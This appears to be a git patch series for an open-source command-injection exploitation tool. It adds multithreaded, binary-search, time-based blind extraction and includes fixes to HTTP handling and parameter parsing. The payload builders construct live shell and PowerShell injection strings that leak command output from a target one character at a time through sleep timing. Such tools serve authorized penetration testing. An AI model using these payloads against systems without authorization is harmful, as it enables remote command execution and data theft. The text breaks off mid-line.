cmd, num_of_chars, ascii_char, timesec, http_request_met # Transform from Ascii to Decimal. settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + "printf '%d' \"'$" + settings.RANDOM_VAR_GENERATOR + "2'\"" + settings.CMD_SUB_SUFFIX + separator + # Perform the time-based comparisons - "[ " + str(ascii_char) + " -eq ${" + settings.RANDOM_VAR_GENERATOR + "} ] " + separator + + "[ " + str(ascii_char) + " -le ${" + settings.RANDOM_VAR_GENERATOR + "} ] " + separator + "sleep " + str(timesec) ) # separator = _urllib.parse.unquote(separator) @@ -348,7 +347,7 @@ def get_char(separator, cmd, num_of_chars, ascii_char, timesec, http_request_met elif separator == "||" : pipe = "|" payload = (pipe + - "[ " + str(ascii_char) + " -ne " + settings.CMD_SUB_PREFIX + cmd + pipe + "tr -d '" + settings.END_LINE.ESCAPED_LF + "'" + + "[ " + str(ascii_char) + " -gt " + settings.CMD_SUB_PREFIX + cmd + pipe + "tr -d '" + settings.END_LINE.ESCAPED_LF + "'" + pipe + "cut -c " + str(num_of_chars) + pipe + "od -N 1 -i" + pipe + "head -1" + pipe + "awk '{print$2}'" + settings.CMD_SUB_SUFFIX + " ]" + separator + "sleep " + str(timesec) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 5415a0ed00..2500a244b4 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -389,7 +389,8 @@ def user_aborted(filename, url): """ def connection_exceptions(err_msg): requests.request_failed(err_msg) - settings.TOTAL_OF_REQUESTS = settings.TOTAL_OF_REQUESTS + 1 + with settings.REQUESTS_LOCK: + settings.TOTAL_OF_REQUESTS = settings.TOTAL_OF_REQUESTS + 1 if settings.MAX_RETRIES > 1: time.sleep(settings.DELAY_RETRY) if not any((settings.MULTI_TARGETS, settings.CRAWLING,settings.REVERSE_TCP,settings.BIND_TCP)): @@ -3026,10 +3027,10 @@ def use_temp_folder(no_result, url, timesec, filename, http_request_method, url_ Adjusts the timesec delay """ def time_related_timesec(): - min_safe_delay = 0.5 # minimum safe delay + min_safe_delay = settings.MIN_SAFE_TIMESEC if settings.TIME_RELATED_ATTACK and settings.TIMESEC < min_safe_delay: - warn_msg = "Adjusting '--time-sec' to minimum safe delay of " + str(min_safe_delay) + "s. In case of inconsistencies, increase it manually." - settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + info_msg = "Adjusting '--time-sec' to minimum safe delay of " + str(min_safe_delay) + "s. In case of inconsistencies, increase it manually." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) return min_safe_delay else: return max(settings.TIMESEC, min_safe_delay) diff --git a/src/core/injections/controller/handler.py b/src/core/injections/controller/handler.py index 8fa8896289..f6a656436a 100755 --- a/src/core/injections/controller/handler.py +++ b/src/core/injections/controller/handler.py @@ -224,6 +224,9 @@ def do_time_related_proccess(url, timesec, filename, http_request_method, url_ti if settings.LOAD_SESSION and session_handler.export_injection_points(url, technique, injection_type, http_request_method): try: url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, exec_time, output_length, is_vulnerable = session_handler.export_injection_points(url, technique, injection_type, http_request_method) + # Re-apply the minimum safe delay to the stored session. + if technique in (settings.INJECTION_TECHNIQUE.TIME_BASED, settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED): + timesec = max(timesec, settings.MIN_SAFE_TIMESEC) if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: settings.TIME_BASED_STATE = True elif technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED: @@ -337,7 +340,7 @@ def do_time_related_proccess(url, timesec, filename, http_request_method, url_ti # Check for false positive resutls if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: exec_time, output = injector.false_positive_check(separator, TAG, cmd, whitespace, prefix, suffix, timesec, http_request_method, url, vuln_parameter, randvcalc, alter_shell, exec_time, url_time_response, false_positive_warning, technique) - else: + else: exec_time, output = injector.false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, randvcalc, alter_shell, exec_time, url_time_response, false_positive_warning, technique) if checks.time_related_shell(url_time_response, exec_time, timesec): diff --git a/src/core/injections/controller/injector.py b/src/core/injections/controller/injector.py index 9b0d8db21b..084732d327 100755 --- a/src/core/injections/controller/injector.py +++ b/src/core/injections/controller/injector.py @@ -20,6 +20,12 @@ import json import string import random +try: + import concurrent.futures + _THREADS_SUPPORTED = True +except ImportError: + # "concurrent.futures" needs Python 3.2+; fall back to serial on Python 2. + _THREADS_SUPPORTED = False from src.utils import menu from src.utils import settings from src.core.requests import proxy @@ -33,6 +39,15 @@ from src.thirdparty.six.moves import html_parser as _html_parser from src.thirdparty.colorama import Fore, Back, Style, init +""" +Abort a thread pool without waiting for running workers. +""" +def _abort_executor(executor, exc): + executor.shutdown(wait=False, cancel_futures=True) + if isinstance(exc, SystemExit): + os._exit(exc.code if isinstance(exc.code, int) else 0) + os._exit(130) + """ The main time-realative command injection exploitation. """ @@ -67,34 +82,73 @@ def time_related_injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespa info_msg += " (via '" + OUTPUT_TEXTFILE +"')" info_msg += "." settings.print_data_to_stdout(settings.print_info_msg(info_msg)) - for output_length in range(int(minlen), int(maxlen)): + def _probe_length(candidate): if alter_shell: if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: - payload = payloads.cmd_execution_alter_shell(separator, cmd, output_length, timesec, http_request_method) + payload = payloads.cmd_execution_alter_shell(separator, cmd, candidate, timesec, http_request_method) else: - payload = payloads.cmd_execution_alter_shell(separator, cmd, output_length, OUTPUT_TEXTFILE, timesec, http_request_method) + payload = payloads.cmd_execution_alter_shell(separator, cmd, candidate, OUTPUT_TEXTFILE, timesec, http_request_method) else: if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: - payload = payloads.cmd_execution(separator, cmd, output_length, timesec, http_request_method) + payload = payloads.cmd_execution(separator, cmd, candidate, timesec, http_request_method) else: - payload = payloads.cmd_execution(separator, cmd, output_length, OUTPUT_TEXTFILE, timesec, http_request_method) - - exec_time, vuln_parameter, payload, prefix, suffix = requests.perform_injection(prefix, suffix, whitespace, payload, vuln_parameter, http_request_method, url) - injection_check = False - if (exec_time >= settings.FOUND_EXEC_TIME and exec_time - timesec >= settings.FOUND_DIFF): - injection_check = True - - if injection_check == True: - if output_length > 1: - if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Retrieved the length of execution output: " + str(output_length) - settings.print_data_to_stdout(settings.print_bold_debug_msg(debug_msg)) + payload = payloads.cmd_execution(separator, cmd, candidate, OUTPUT_TEXTFILE, timesec, http_request_method) + exec_time, _, _, _, _ = requests.perform_injection(prefix, suffix, whitespace, payload, vuln_parameter, http_request_method, url) + return (exec_time >= settings.FOUND_EXEC_TIME and exec_time - timesec >= settings.FOUND_DIFF) + + output_length = None + # Keep length discovery serial for the tempfile-based technique. + if settings.THREADS <= 1 or not _THREADS_SUPPORTED or technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED: + for output_length in range(int(minlen), int(maxlen)): + if alter_shell: + if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + payload = payloads.cmd_execution_alter_shell(separator, cmd, output_length, timesec, http_request_method) else: - sub_content = "Retrieved: " + str(output_length) - settings.print_data_to_stdout(settings.print_sub_content(sub_content)) - found_chars = True + payload = payloads.cmd_execution_alter_shell(separator, cmd, output_length, OUTPUT_TEXTFILE, timesec, http_request_method) + else: + if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + payload = payloads.cmd_execution(separator, cmd, output_length, timesec, http_request_method) + else: + payload = payloads.cmd_execution(separator, cmd, output_length, OUTPUT_TEXTFILE, timesec, http_request_method) + + exec_time, vuln_parameter, payload, prefix, suffix = requests.perform_injection(prefix, suffix, whitespace, payload, vuln_parameter, http_request_method, url) injection_check = False - break + if (exec_time >= settings.FOUND_EXEC_TIME and exec_time - timesec >= settings.FOUND_DIFF): + injection_check = True + + if injection_check == True: + found_chars = True + injection_check = False + break + else: + # Confirm a match twice before trusting it. + def _confirm_length(candidate): + return _probe_length(candidate) and _probe_length(candidate) + + candidates = list(range(int(minlen), int(maxlen))) + executor = concurrent.futures.ThreadPoolExecutor(max_workers=settings.THREADS) + try: + for i in range(0, len(candidates), settings.THREADS): + batch = candidates[i:i + settings.THREADS] + batch_matches = [c for c, is_match in zip(batch, executor.map(_probe_length, batch)) if is_match] + confirmed = [c for c in batch_matches if _confirm_length(c)] + if confirmed: + output_length = min(confirmed) + break + except (KeyboardInterrupt, SystemExit) as exc: + _abort_executor(executor, exc) + else: + executor.shutdown(wait=True) + if output_length is not None: + found_chars = True + + if found_chars == True and output_length > 1: + if settings.VERBOSITY_LEVEL != 0: + debug_msg = "Retrieved the length of execution output: " + str(output_length) + settings.print_data_to_stdout(settings.print_bold_debug_msg(debug_msg)) + else: + sub_content = "Retrieved: " + str(output_length) + settings.print_data_to_stdout(settings.print_sub_content(sub_content)) # Proceed with the next (injection) step! if found_chars == True : @@ -117,42 +171,100 @@ def time_related_injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespa if output_length > 1: settings.print_data_to_stdout(settings.END_LINE.CR + settings.print_info_msg(info_msg)) - for num_of_chars in range(1, int(num_of_chars)): + def _print_progress(progress_num): + if settings.VERBOSITY_LEVEL == 0: + percent, float_percent = checks.percentage_calculation(progress_num, output_length) + if percent == 100: + float_percent = settings.info_msg + else: + float_percent = ".. (" + str(float_percent) + "%)" + if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + progress_msg = "Presuming the execution output." + else: + progress_msg = "Retrieving the execution output (via '" + OUTPUT_TEXTFILE + "')." + progress_msg += float_percent + settings.print_data_to_stdout(settings.END_LINE.CR + settings.print_info_msg(progress_msg)) + + def _bisect_once(num_of_chars, char_pool): + # Binary search over the character's ordinal value. + min_ord = min(char_pool) + max_ord = max(char_pool) + lo = min_ord - 1 + hi = max_ord + + payload = payloads.get_char(separator, cmd, num_of_chars, hi, timesec, http_request_method) if technique == settings.INJECTION_TECHNIQUE.TIME_BASED else payloads.get_char(separator, OUTPUT_TEXTFILE, num_of_chars, hi, timesec, http_request_method) + exec_time, _, _, _, _ = requests.perform_injection(prefix, suffix, whitespace, payload, vuln_parameter, http_request_method, url) + if (exec_time >= settings.FOUND_EXEC_TIME and exec_time - timesec >= settings.FOUND_DIFF): + return hi + + while hi - lo > 1: + mid = (lo + hi) // 2 + payload = payloads.get_char(separator, cmd, num_of_chars, mid, timesec, http_request_method) if technique == settings.INJECTION_TECHNIQUE.TIME_BASED else payloads.get_char(separator, OUTPUT_TEXTFILE, num_of_chars, mid, timesec, http_request_method) + exec_time, _, _, _, _ = requests.perform_injection(prefix, suffix, whitespace, payload, vuln_parameter, http_request_method, url) + if (exec_time >= settings.FOUND_EXEC_TIME and exec_time - timesec >= settings.FOUND_DIFF): + lo = mid + else: + hi = mid + + return lo if lo >= min_ord else None + + def _extract_position(num_of_chars): char_pool = checks.generate_char_pool(num_of_chars) - for ascii_char in char_pool: - if alter_shell: + + if alter_shell: + # Alternative shells are still experimental. + for ascii_char in char_pool: if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: payload = payloads.get_char_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, http_request_method) else: payload = payloads.get_char_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http_request_method) - else: - if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: - payload = payloads.get_char(separator, cmd, num_of_chars, ascii_char, timesec, http_request_method) - else: - payload = payloads.get_char(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http_request_method) - exec_time, vuln_parameter, payload, prefix, suffix = requests.perform_injection(prefix, suffix, whitespace, payload, vuln_parameter, http_request_method, url) - injection_check = False - if (exec_time >= settings.FOUND_EXEC_TIME and exec_time - timesec >= settings.FOUND_DIFF): - injection_check = True - - if injection_check == True: - if settings.VERBOSITY_LEVEL == 0: - output.append(chr(ascii_char)) - percent, float_percent = checks.percentage_calculation(num_of_chars, output_length) - if percent == 100: - float_percent = settings.info_msg - else: - float_percent = ".. (" + str(float_percent) + "%)" - if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: - info_msg = "Presuming the execution output." - else: - info_msg = "Retrieving the execution output (via '" + OUTPUT_TEXTFILE + "')." - info_msg += float_percent - settings.print_data_to_stdout(settings.END_LINE.CR + settings.print_info_msg(info_msg)) - else: - output.append(chr(ascii_char)) - injection_check = False - break + exec_time, _, _, _, _ = requests.perform_injection(prefix, suffix, whitespace, payload, vuln_parameter, http_request_method, url) + if (exec_time >= settings.FOUND_EXEC_TIME and exec_time - timesec >= settings.FOUND_DIFF): + return num_of_chars, ascii_char + return num_of_chars, None + + if settings.THREADS <= 1: + return num_of_chars, _bisect_once(num_of_chars, char_pool) + + # Require two consecutive passes to agree before trusting the result. + MAX_ATTEMPTS = 4 + previous = "unset" + for _attempt in range(MAX_ATTEMPTS): + result = _bisect_once(num_of_chars, char_pool) + if result == previous: + return num_of_chars, result + previous = result + return num_of_chars, previous + + positions = list(range(1, int(num_of_chars))) + if settings.THREADS <= 1 or not _THREADS_SUPPORTED: + for pos in positions: + _, ascii_char = _extract_position(pos) + if ascii_char is not None: + output.append(chr(ascii_char)) + _print_progress(pos) + else: + # Extract positions concurrently. + results_by_position = {} + completed = 0 + executor = concurrent.futures.ThreadPoolExecutor(max_workers=settings.THREADS) + try: + futures = {executor.submit(_extract_position, pos): pos for pos in positions} + for future in concurrent.futures.as_completed(futures): + pos, ascii_char = future.result() + results_by_position[pos] = ascii_char + completed += 1 + if ascii_char is not None: + _print_progress(completed) + except (KeyboardInterrupt, SystemExit) as exc: + _abort_executor(executor, exc) + else: + executor.shutdown(wait=True) + # Assemble in position order. + for pos in positions: + ascii_char = results_by_position.get(pos) + if ascii_char is not None: + output.append(chr(ascii_char)) check_end = time.time() check_exec_time = int(check_end - check_start) @@ -318,9 +430,13 @@ def false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timese if settings.VERBOSITY_LEVEL == 0: settings.print_data_to_stdout(" (done)") return exec_time, output + else: + checks.unexploitable_point() + return exec_time, "" else: checks.unexploitable_point() + return exec_time, "" """ Prompt the user to confirm or set a custom filename for command execution output. diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py index ea453897ee..1e236eaf16 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py @@ -333,7 +333,7 @@ def get_char(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http payload = (pipe + "for /f \"tokens=*\" %i in ('cmd /c \"powershell.exe -InputFormat none " "(Get-Content " + OUTPUT_TEXTFILE + ").split(\" \")[" + str(num_of_chars - 1) + "]\"')" + settings.SINGLE_WHITESPACE + - "do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE + + "do if %i GEQ " + str(ascii_char) + settings.SINGLE_WHITESPACE + "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + "\"" ) elif separator == _urllib.parse.quote("&&") : @@ -342,7 +342,7 @@ def get_char(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http payload = (ampersand + "for /f \"tokens=*\" %i in ('cmd /c \"powershell.exe -InputFormat none " "(Get-Content " + OUTPUT_TEXTFILE + ").split(\" \")[" + str(num_of_chars - 1) + "]\"')" + settings.SINGLE_WHITESPACE + - "do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE + + "do if %i GEQ " + str(ascii_char) + settings.SINGLE_WHITESPACE + "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + "\"" ) else: @@ -352,7 +352,7 @@ def get_char(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http payload = (separator + # Use space as delimiter settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + "cut -d ' ' -f " + str(num_of_chars) + " < " + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + - "if [ " + str(ascii_char) + " -eq ${" + settings.RANDOM_VAR_GENERATOR + "} ]" + separator + + "if [ " + str(ascii_char) + " -le ${" + settings.RANDOM_VAR_GENERATOR + "} ]" + separator + # "then sleep 0" + separator + "then sleep " + str(timesec) + separator + "fi" @@ -364,14 +364,14 @@ def get_char(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http "sleep 0" + separator + # Use space as delimiter settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + "awk '{print$" + str(num_of_chars) + "}'<" + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + - "[ " + str(ascii_char) + " -eq ${" + settings.RANDOM_VAR_GENERATOR + "} ] " + separator + + "[ " + str(ascii_char) + " -le ${" + settings.RANDOM_VAR_GENERATOR + "} ] " + separator + "sleep " + str(timesec) ) separator = _urllib.parse.unquote(separator) elif separator == "||" : pipe = "|" payload = (pipe + - "[ " + str(ascii_char) + " -ne " + settings.CMD_SUB_PREFIX + "cat " + OUTPUT_TEXTFILE + + "[ " + str(ascii_char) + " -gt " + settings.CMD_SUB_PREFIX + "cat " + OUTPUT_TEXTFILE + pipe + "tr -d '" + settings.END_LINE.ESCAPED_LF + "'" + pipe + "cut -c " + str(num_of_chars) + pipe + "od -N 1 -i" + diff --git a/src/core/main.py b/src/core/main.py index 688a488c49..a1723ccad9 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -817,7 +817,27 @@ def main(filename, url, http_request_method): # Check if defined "--timesec" option. if menu.options.timesec != 0: settings.TIMESEC = menu.options.timesec - + + # Check if defined "--threads" option. + if menu.options.threads > 1: + try: + import concurrent.futures + threads_supported = True + except ImportError: + threads_supported = False + if not threads_supported: + warn_msg = "'--threads' needs Python 3.2+; continuing with a single thread." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + elif menu.options.threads > settings.MAX_THREADS: + settings.THREADS = settings.MAX_THREADS + warn_msg = "Setting '--threads' to the maximum of " + str(settings.MAX_THREADS) + " concurrent HTTP requests." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + else: + settings.THREADS = menu.options.threads + if settings.THREADS > 1: + info_msg = "Setting " + str(settings.THREADS) + " concurrent HTTP requests." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + if menu.options.tor: settings.TIMESEC = settings.TIMESEC * 2 warn_msg = "Increasing default value for option '--time-sec' to" diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index 390ccfab12..97bf6d4dcc 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -151,7 +151,8 @@ class connection_handler(_urllib.request.HTTPSHandler, _urllib.request.HTTPHandl Print HTTP request headers. """ def print_http_response(self): - settings.TOTAL_OF_REQUESTS = settings.TOTAL_OF_REQUESTS + 1 + with settings.REQUESTS_LOCK: + settings.TOTAL_OF_REQUESTS = settings.TOTAL_OF_REQUESTS + 1 if settings.VERBOSITY_LEVEL >= 2 or menu.options.traffic_file: if settings.VERBOSITY_LEVEL >= 2: req_msg = "HTTP request [" + settings.print_request_num(settings.TOTAL_OF_REQUESTS) + "]:" @@ -163,16 +164,17 @@ def print_http_response(self): def http_open(self, req): try: self.print_http_response() - self.do_open(connection, req) - return super(connection_handler, self).http_open(req) + # do_open() already returns the real response - calling super().http_open() + # too would do_open() a SECOND time (its own default, unlogged connection), + # sending every request twice. + return self.do_open(connection, req) except (SocketError, _urllib.error.HTTPError, _urllib.error.URLError, _http_client.BadStatusLine, _http_client.RemoteDisconnected, _http_client.IncompleteRead, _http_client.InvalidURL, Exception) as err_msg: checks.connection_exceptions(err_msg) def https_open(self, req): try: self.print_http_response() - self.do_open(connection, req) - return super(connection_handler, self).https_open(req) + return self.do_open(connection, req, context=self._context) except (SocketError, _urllib.error.HTTPError, _urllib.error.URLError, _http_client.BadStatusLine, _http_client.RemoteDisconnected, _http_client.IncompleteRead, _http_client.InvalidURL, Exception) as err_msg: checks.connection_exceptions(err_msg) @@ -196,7 +198,8 @@ def https_open(self, req): request = encode_non_ascii_url(request) response = opener.open(request, timeout=settings.TIMEOUT) _ = True - settings.MAX_RETRIES = settings.TOTAL_OF_REQUESTS * 2 + with settings.REQUESTS_LOCK: + settings.MAX_RETRIES = settings.TOTAL_OF_REQUESTS * 2 if (settings.INIT_TEST == True and not settings.UNAUTHORIZED) or \ (settings.INIT_TEST == True and settings.MULTI_TARGETS): if settings.VALID_URL == False: @@ -217,9 +220,11 @@ def https_open(self, req): except (_urllib.error.HTTPError, _urllib.error.URLError) as err_msg: if settings.UNAUTHORIZED_ERROR in str(err_msg): settings.UNAUTHORIZED = unauthorized = True - settings.MAX_RETRIES = settings.TOTAL_OF_REQUESTS + with settings.REQUESTS_LOCK: + settings.MAX_RETRIES = settings.TOTAL_OF_REQUESTS else: - settings.MAX_RETRIES = settings.TOTAL_OF_REQUESTS * 2 + with settings.REQUESTS_LOCK: + settings.MAX_RETRIES = settings.TOTAL_OF_REQUESTS * 2 if [True for err_code in settings.HTTP_ERROR_CODES if err_code in str(err_msg)]: break diff --git a/src/utils/menu.py b/src/utils/menu.py index f78f02b661..8b4b968067 100755 --- a/src/utils/menu.py +++ b/src/utils/menu.py @@ -487,6 +487,13 @@ def banner(): dest="timesec", help="Seconds to delay the OS response.") +injection.add_option("--threads", + default=1, + action="store", + type="int", + dest="threads", + help="Max number of concurrent HTTP requests (default 1, max 10).") + injection.add_option("--tmp-path", action="store", dest="tmp_path", diff --git a/src/utils/settings.py b/src/utils/settings.py index 01e0ac4923..f074643c85 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -20,6 +20,7 @@ import random import string import codecs +import threading as _threading from datetime import date from datetime import datetime from src.core.compat import xrange @@ -220,8 +221,9 @@ def command_execution_output(shell): def print_data_to_stdout(data): if END_LINE.CR not in data and data != "." and data != " (done)": data = data + END_LINE.LF - sys.stdout.write(data) - sys.stdout.flush() + with PRINT_LOCK: + sys.stdout.write(data) + sys.stdout.flush() """ argv input errors @@ -262,7 +264,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "65" +REVISION = "66" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -619,9 +621,20 @@ class OS(object): # Seconds to delay the OS response. TIMESEC = 0 +# Minimum safe delay for time-related techniques. +MIN_SAFE_TIMESEC = 0.5 + # Seconds to delay between each HTTP retry. DELAY_RETRY = 1 +# Max number of concurrent HTTP requests during data retrieval. +THREADS = 1 +MAX_THREADS = 10 + +# Locks for shared state accessed by concurrent threads. +PRINT_LOCK = _threading.Lock() +REQUESTS_LOCK = _threading.Lock() + DEFAULT_INJECTION_LEVEL = 1 COOKIE_INJECTION_LEVEL = 2 HTTP_HEADER_INJECTION_LEVEL = 3 From 99baf5a210aab2b58b4ca230dc1017d0cf1c04d2 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sun, 16 Aug 2026 07:51:16 +0300 Subject: [PATCH 0723/1023] Improved parameter parsing and injection point detection across all supported request formats --- doc/CHANGELOG.md | 1 + src/core/injections/controller/checks.py | 55 +- src/core/injections/controller/controller.py | 6 +- src/core/injections/controller/handler.py | 14 +- src/core/injections/controller/injector.py | 4 +- src/core/injections/controller/parser.py | 9 +- src/core/main.py | 9 +- src/core/requests/authentication.py | 29 +- src/core/requests/parameters.py | 871 +++++++++++-------- src/core/requests/requests.py | 26 +- src/utils/settings.py | 2 +- 11 files changed, 587 insertions(+), 439 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 2a6adc8baf..c063d038a1 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 4.2 (TBA) +* Revised: Improved parameter parsing and injection point detection across all supported request formats. * Added: New `--threads` option to support parallel data retrieval, reducing extraction time on supported techniques. * Revised: Refactored time-related techniques (i.e. "time-based", "tempfile-based") to use binary search for character extraction. * Fixed: A stored session could restore a `--time-sec` value from an earlier run without re-applying the minimum safe delay, silently bypassing the safety floor on resumed sessions. diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 2500a244b4..53435426e6 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -163,11 +163,15 @@ def process_non_custom(): def process_injectable_value(payload, data): if len(settings.TESTABLE_VALUE) == 0: settings.TESTABLE_VALUE = settings.SINGLE_WHITESPACE - _ = data.replace(settings.TESTABLE_VALUE, settings.RANDOM_TAG) + # Regenerate the tag if it overlaps the testable value. + random_tag = settings.RANDOM_TAG + while random_tag in settings.TESTABLE_VALUE or settings.TESTABLE_VALUE in random_tag: + random_tag = ''.join(random.choice(string.ascii_uppercase + string.digits + string.ascii_lowercase) for _ in range(10)) + _ = data.replace(settings.TESTABLE_VALUE, random_tag) if settings.TESTABLE_VALUE in _.replace(settings.INJECT_TAG, ""): - return _.replace(settings.INJECT_TAG, "").replace(settings.TESTABLE_VALUE, payload).replace(settings.RANDOM_TAG, settings.TESTABLE_VALUE) + return _.replace(settings.INJECT_TAG, "").replace(settings.TESTABLE_VALUE, payload).replace(random_tag, settings.TESTABLE_VALUE) else: - return _.replace(settings.RANDOM_TAG + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload).replace(settings.RANDOM_TAG, settings.TESTABLE_VALUE) + return _.replace(random_tag + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload).replace(random_tag, settings.TESTABLE_VALUE) """ Remove all injection tags from provided data @@ -230,7 +234,6 @@ def custom_injection_marker_character(url, http_request_method): settings.CUSTOM_INJECTION_MARKER = True else: settings.CUSTOM_HEADER_INJECTION = True - # return False if settings.CUSTOM_INJECTION_MARKER: while True: @@ -417,7 +420,8 @@ def mask_cookie_value(cookie_str): try: set_cookie_header = [] - declared_cookies = set(menu.options.cookie.split(settings.COOKIE_PARAM_DELIMITER)) if menu.options.cookie else set() + # Compare cookie names to avoid duplicate server-set values overriding user input. + declared_cookies = set(c.split('=')[0].strip() for c in menu.options.cookie.split(settings.COOKIE_PARAM_DELIMITER)) if menu.options.cookie else set() added_cookies = set() for header, value in response.getheaders(): if header.lower() == settings.SET_COOKIE.lower(): @@ -436,8 +440,7 @@ def mask_cookie_value(cookie_str): if settings.CRAWLED_SKIPPED_URLS_NUM != 0: settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) if menu.options.cookie: - user_cookies_set = set([c.split('=')[0] for c in menu.options.cookie.split(settings.COOKIE_PARAM_DELIMITER)]) - # intersect_cookies = user_cookies_set.intersection(added_cookies) + user_cookies_set = set([c.split('=')[0] for c in menu.options.cookie.split(settings.COOKIE_PARAM_DELIMITER)]) if user_cookies_set: while True: message = "You declared some cookie(s), " @@ -891,10 +894,7 @@ def enable_shell(url): message += ". Do you want to spawn a pseudo-terminal shell? [Y/n] > " if settings.CRAWLING: settings.CRAWLED_URLS_INJECTED.append(_urllib.parse.urlparse(url).netloc) - if not settings.STDIN_PARSING: - gotshell = common.read_input(message, default="Y", check_batch=True) - else: - gotshell = common.read_input(message, default="n", check_batch=True) + gotshell = common.read_input(message, default="Y", check_batch=True) return gotshell """ @@ -1584,8 +1584,6 @@ def tamper_scripts(stored_tamper_scripts): warn_msg = warn_msg + "not support the usage of '" + script + ".py'. Skipping tamper script." settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) else: - # if not stored_tamper_scripts: - # settings.print_data_to_stdout(settings.SUB_CONTENT_SIGN + import_script.split(".")[-1]) try: module = __import__(import_script, fromlist=[None]) if not hasattr(module, "__tamper__"): @@ -2085,10 +2083,6 @@ def is_empty(multi_parameters, http_request_method): if settings.IS_JSON: try: multi_params = flatten(json.loads(','.join(multi_params), object_pairs_hook=OrderedDict)) if is_JSON_check(','.join(multi_params)) else multi_params - # multi_params = ','.join(multi_params) - # if is_JSON_check(multi_params): - # json_data = json.loads(multi_params, object_pairs_hook=OrderedDict) - # multi_params = flatten(json_data) except ValueError as err_msg: settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() @@ -2195,14 +2189,19 @@ def check_similarities(all_params): if settings.IS_JSON: try: _ = "".join(random.sample(string.ascii_uppercase, k=6)) - all_params = flatten(json.loads(','.join(all_params), object_pairs_hook=OrderedDict)) - for param in all_params: - if isinstance(all_params[param], str): - if all_params[param] in param: - all_params[param] = all_params[param] + settings.RANDOM_TAG - if settings.SINGLE_WHITESPACE in all_params[param]: - all_params[param] = all_params[param].replace(settings.SINGLE_WHITESPACE, _) - all_params = [x.replace(settings.SINGLE_WHITESPACE, "").replace(_, settings.SINGLE_WHITESPACE) for x in json.dumps(all_params).split(", ")] + flat = flatten(json.loads(','.join(all_params), object_pairs_hook=OrderedDict)) + modified = False + for param in flat: + if isinstance(flat[param], str): + if flat[param] in param: + flat[param] = flat[param] + settings.RANDOM_TAG + modified = True + if settings.SINGLE_WHITESPACE in flat[param]: + flat[param] = flat[param].replace(settings.SINGLE_WHITESPACE, _) + modified = True + # Re-dump only on a real collision (avoids corrupting nested bodies). + if modified: + all_params = [x.replace(settings.SINGLE_WHITESPACE, "").replace(_, settings.SINGLE_WHITESPACE) for x in json.dumps(flat).split(", ")] except Exception: pass else: @@ -2412,13 +2411,11 @@ def print_users(sys_users, filename, _, separator, TAG, cmd, prefix, suffix, whi output_file.write(settings.END_LINE.LF) output_file.write("(" +str(count)+ ") 